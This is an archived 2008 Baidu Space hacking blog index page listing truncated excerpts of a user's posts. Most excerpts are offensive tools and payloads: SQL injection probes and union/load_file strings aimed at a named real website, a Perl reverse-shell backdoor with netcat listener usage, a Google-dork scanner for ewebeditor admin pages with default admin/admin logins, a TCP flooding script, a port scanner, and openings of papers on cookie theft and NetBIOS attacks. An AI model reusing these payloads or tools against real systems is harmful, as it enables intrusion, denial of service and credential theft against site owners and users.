小杰'Blog
百度空间 | 百度首页 
               
 
其它
 
已有人次访问本空间
 
订阅RSS  什么是RSS?

您也想拥有这样的空间?请点此申请。
     
 
最近访客
 
 

csj112

jierandefeng

lx236819850

0x255

★rock★

Hacker黑小子

白云雁168

独孤あ梦
     
 
文章列表
 
2008年05月19日 星期一 18:30

#!/usr/bin/perl
#http://www.bjemall.cn/news/news_show.php?id=843 TOM音乐
#';and 1=1;and 1=2
#and ord(mid(version(),1,1))>51
#order by 19
#http://www.bjemall.cn/news/news_show.php?id=843%20and%201=1%20union%20select%

201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 /*
#and 1=1 union select 1,2,3,load_file(char

(asc,asc)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
#id=843/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,load_file(char

 
2008年05月17日 星期六 01:06

#by 小杰 thanks for my all friends.

#!/usr/bin/perl
#perl acsql.pl http://localhost/bysj/毕业设计/bysj/湘香珠宝首饰有限公司网站/news_more.asp?id=1086
use IO::Socket;
if (!@ARGV){
print "please inset the url:";
chomp($url=<STDIN>);
}else{
$url=@ARGV[0];
}
if($url !~ /http:\/\//) {
$url= "

 
2008年05月08日 星期四 14:17

--- < 5. File Upload > -----------------------------------------------------

As if PHP hadn't already provided enough to make life easier for the
attacker the language provides automatic support for RFC 1867 based file
upload. Take the following form:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_S

 
2008年05月08日 星期四 14:17

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

                           A Study In Scarlet

 
2008年05月07日 星期三 11:35

1.经过破译敌人的密码,已经知道了“香蕉苹果大鸭梨”的意思是“星期三秘密进攻”,“苹果甘蔗水蜜桃”的意思是“执行秘密计划”;“广柑香蕉西红柿”的意思是“星期三的胜利属于我们”,那么“大鸭梨”的意思是:
 
2008年05月04日 星期日 03:20

#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988

#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote      = $ARGV[0]|| "127.0.0.1";
my $rem

 
2008年05月03日 星期六 19:00

#By 小杰 Thanks for my frinds!
#According to "google-php-include-bugs searcher v 0.8". very thanks to they!
#ewebeditor/db/ewebeditor.mdb
#ewebeditor/Admin_Login.asp?action=login
#ewebeditor/admin/login.asp?action=login&usr=admin&pwd=admin
use IO::Socket;
@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
       

 
2008年05月03日 星期六 17:57

#filetype:$ftype site:$zone inurl:$inc
#http://www.google.com/search?filter=0&num=100&start=000&q=site:cn filetype:asp inurl:ewebeditor FCKeditor
#http://www.google.cn/search?num=100&start=100&q=site:cn%20filetype:asp%20inurl:ewebeditor
#http://www.google.cn/search?num=100&complete=1&hl=zh-CN&newwindow=1&q=site%3Acn+filetype%3Aasp+inurl%3Aewebeditor&meta=&aq=f
#http://www.google.cn/search?num=100&q=site%3Acn+filetype%3Aasp

 
2008年05月02日 星期五 21:34
#By 小杰
use IO::Socket;
use Socket;
use threads;
if (@ARGV < 3)
{
print q{Usage: perl Tcpflooder.pl ip port threads.
Usage: perl Tcpflooder.pl www.google.cn 80 100
};
exit();
}
$ip = $ARGV[0];
$port = $ARGV[1];
$d = $ARGV[2];
my $j=0;
$thui = 0;
while ($thui <$d)
{
if($j>$d)
   {
      $j=0    
 
2008年05月02日 星期五 19:04

#By 小杰
#ActivePerl 5.8.8 Build 822
#C:\>cd c:\perl
#C:\Perl>perl tcpportscan.pl 209.85.165.99 21-25
#C:\Perl>perl tcpportscan.pl 222.247.169.134-254 80-81

use IO::Socket;
use Socket;
#use strict;
#$|=1;
$ARGC = @ARGV;
if ($ARGC != 2) {
print "[+]Usage: perl $0 <ip-list> <port-list>\n";
print "[+]Usage: perl $0 192.168.1.1 21-25\n";
        print

 
2008年04月30日 星期三 16:43

           
    Sql Injection Paper                      
           
     By zeroday.          
        zeroday [ at ] blac

 
2008年04月30日 星期三 15:24

NetBIOS Attack



So NetBIOS is the first thing when you want to root to learn. In my article i will considerate that my target don''t have password protected the files, shared files.
 
2008年04月30日 星期三 15:23

HTTP Header Injection



This paper is only for educational purposes

Well I was looking my Blogspot and I saw something very bad, all the post sucks there is no
 
2008年04月30日 星期三 15:22
5. Stealing Cookiesnote: to do this you'll need a little bit of advanced javascript knowledge, and some perl/php/asp (or other server side language).Stealing cookies can be a dangerous problem for many sites. It all depends on how the site sets up it's security. If a site just uses cookies to identify users than it could be vulnerable. If you need to login then it is almost useless to try and steal cookies. Unless of course the username and passwords are stored in the cookie and is not encrypt
 
2008年04月30日 星期三 15:21

hacking with javascript



i was asked over msn about hacking with javascript and i realised that people understimate the value of javascript hacking. so i decided to post an article thats shows how
 
     
 
 
文章分类
 
 
Null(0)
 
     
 
RSS订阅
 
用户未订阅RSS信息
   
 
好友最新文章
 
     
 
留言板
 

你的空间真漂亮,很喜欢.应该多推广一下,让更多的人欣赏到你的才华.
 
     


©2009 Baidu